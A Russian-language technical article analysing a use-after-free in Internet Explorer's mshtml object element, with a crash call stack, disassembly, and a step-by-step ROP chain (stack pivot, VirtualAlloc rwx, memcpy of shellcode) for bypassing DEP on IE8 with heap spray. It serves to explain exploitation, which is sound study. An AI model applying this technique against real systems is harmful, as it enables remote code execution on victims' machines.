Зная это, вскинем свой взор на стек вызовов, полученный после падения, это должно пояснить нам суть остального: 0:008> k ChildEBP RetAddr 020be350 63602718 mshtml!CElement::Doc+0x2 020be36c 636026a3 mshtml!CTreeNode::ComputeFormats+0xb9 020be618 63612a85 mshtml!CTreeNode::ComputeFormatsHelper+0x44 020be628 63612a45 mshtml!CTreeNode::GetFancyFormatIndexHelper+0x11 020be638 63612a2c mshtml!CTreeNode::GetFancyFormatHelper+0xf 020be64c 637d29ab mshtml!CTreeNode::GetFancyFormat+0x35 020be654 637d2906 mshtml!CLineCore::AO_GetFancyFormat+0x23 020be688 63675c93 mshtml!CRecalcLinePtr::RecalcMargins+0x19d 020bee80 6369985f mshtml!CDisplay::RecalcLines+0x6e4 020bef5c 6361c037 mshtml!CDisplay::WaitForRecalc+0x208 020befac 636514de mshtml!CFlowLayout::Notify+0x7d7 020befb8 636017f2 mshtml!NotifyElement+0x41 020bf00c 6365134f mshtml!CMarkup::SendNotifi cation+0x60 020bf034 63666bc1 mshtml!CMarkup::Notify+0xd4 020bf07c 6361bf07 mshtml!CElement::SendNotifi cation+0x4a 020bf0a0 635d82b7 mshtml!CElement::EnsureRecalcNotify+0x15f 020bf11c 635cc225 mshtml!CDisplayPointer::MoveUnit+0x2b2 020bf208 635cc092 mshtml!CHTMLEditor::AdjustPointer+0x16f 020bf23c 635cd2af mshtml!CEditTracker::AdjustPointerForInsert+0x8b 020bf298 635cd123 mshtml!CCaretTracker::PositionCaretAt+0x141
Основным моментом, который приводит к падению, является то, что элемент <object> был первоначально добавлен в некий список элементов, чтобы быть отображенным. Затем элемент object был удален, поскольку стал невалидным, и стало нечего отображать. Но он не был удален из вышеобозначенного списка. Далее должно произойти нечто, в результате чего IE попытается вызвать метод на освобожденном объекте, что и приведет к use-after-free. То есть по сути, нам необходимо инициировать освобождение элемента <object>, получить указатель на данные, которые мы контролируем для того, чтобы перезаписать ими освобожденный объект, а затем сделать то, что может привести к вызову функций с элементом object в качестве одного из аргументов. Эксплоит для IE7 и IE8 с отключенным DEP перезаписывает CObjectElement значениями 0c0c0c0c: mshtml!CElement::Doc: 3cf76b80 8b01 mov eax,dword ptr [ecx] 3cf76b82 8b5070 mov edx,dword ptr [eax+70h] 3cf76b85 ffd2 call edx 3cf76b87 8b400c mov eax,dword ptr [eax+0Ch] 3cf76b8a c3 ret
Эксплоит для IE8 с включенным DEP требует применения техники ROP-программирования: - CObjectElement перезаписывается значениями 0c0c0c0c;
- Используя heap-spray, помещаем ROP-последовательность по адресу 0c0c0c0c;
- По адресу 0x23000000 размещается цепочка nops+shellcode.
Как только все будет выполнено, ROP-последовательность примет следующий вид: 0c0c0c0c 7c809af1 ; 1:kernel32!VirtualAlloc (первый возврат) 0c0c0c10 7c901db3 ; 2:ntdll!memcpy (второй возврат) 0c0c0c14 7f000000 ; 1:VirtualAlloc:lpAddress 0c0c0c18 00004000 ; 1:VirtualAlloc:dwSize 0c0c0c1c 00003000 ; 1:VirtualAlloc:fl AllocationType MEM_COMMIT | MEM_RESERVE 0c0c0c20 00000040 ; 1:VirtualAlloc:fl Protect rwx 0c0c0c24 7f001000 ; 3:nops+shellcode (третий возврат) 0c0c0c28 7f001000 ; 2:memcpy:dst 0c0c0c2c 23000100 ; 2:memcpy:src 0c0c0c30 00002fff ; 2:memcpy:size 0c0c0c34 be9e2688 ; мусор ... 0c0c0c74 de2f62e1 ; мусор 0c0c0c78 a19314eb ; мусор 0c0c0c7c 773e3f18 ; comctl32!CImageList::_IsSameObject+0x40 ; указатель стека 0c0c0c80 3825a2d7 ; мусор 0c0c0c84 88f8a84d ; мусор 0c0c0c88 0566b421 ; мусор
Момент вызова mshtml!CElement::Doc после данного события: mshtml!CElement::Doc: 3cf76b80 8b01 mov eax,dword ptr [ecx] 3cf76b82 8b5070 mov edx,dword ptr [eax+70h] 3cf76b85 ffd2 call edx
Первая часть ROP-последовательности представляет из себя указатель на код, производящий обмен esp с eax (0c0c0c0c): 0:007> u comctl32!CImageList::_IsSameObject+40 L?2 comctl32!CImageList::_IsSameObject+0x40: 773e3f18 94 xchg eax,esp 773e3f19 c3 ret
После данных телодвижений ROP-последовательность будет выглядеть следующим образом: 0c0c0c10 7c901db3 ; 2:ntdll!memcpy (второй возврат) 0c0c0c14 7f000000 ; 1:VirtualAlloc:lpAddress 0c0c0c18 00004000 ; 1:VirtualAlloc:dwSize 0c0c0c1c 00003000 ; 1:VirtualAlloc:fl AllocationType MEM_ COMMIT | MEM_RESERVE 0c0c0c20 00000040 ; 1:VirtualAlloc:fl Protect rwx 0c0c0c24 7f001000 ; 3:nops+shellcode (третий возврат) 0c0c0c28 7f001000 ; 2:memcpy:dst 0c0c0c2c 23000100 ; 2:memcpy:src 0c0c0c30 00002fff ; 2:memcpy:size
В kernel32!VirtualAlloc выделяется 0x4000 байт с атрибутами чтение/запись/исполнение по адресу 0x7f000000, и мы возвращаемся в ntdll!memcpy. На данном этапе стек выглядит следующим образом: 0c0c0c24 7f001000 ; 3:nops+shellcode (третий возврат) 0c0c0c28 7f001000 ; 2:memcpy:dst 0c0c0c2c 23000100 ; 2:memcpy:src 0c0c0c30 00002fff ; 2:memcpy:size
ntdll!memcpy затем скопирует 0x2fff байт из 0x23000100 (по данному адресу находится цепочка nops + shellcode) по адресу 0x7f001000 (rwx-память, была выше выделена VirtualAlloc’ом) и вернет управление на цепочку nops + shellcode, располагающуюся по адресу 0x7f001000: ntdll!memcpy: 7c901db3 55 push ebp 7c901db4 8bec mov ebp,esp 7c901db6 57 push edi 7c901db7 56 push esi 7c901db8 8b750 cmov esi,dword ptr [ebp+0Ch] ; ss:0023:0c0c0c2c=23000100 7c901dbb 8b4d10 mov ecx,dword ptr [ebp+10h] ; ss:0023:0c0c0c30=00002fff 7c901dbe 8b7d08 mov edi,dword ptr [ebp+8] ; ss:0023:0c0c0c28=7f001000
... 7c901de6 f3a5 rep movs dword ptr es:[edi],dword ptr [esi] ... 7c901f4d c9 leave 7c901f4e c3 ret
|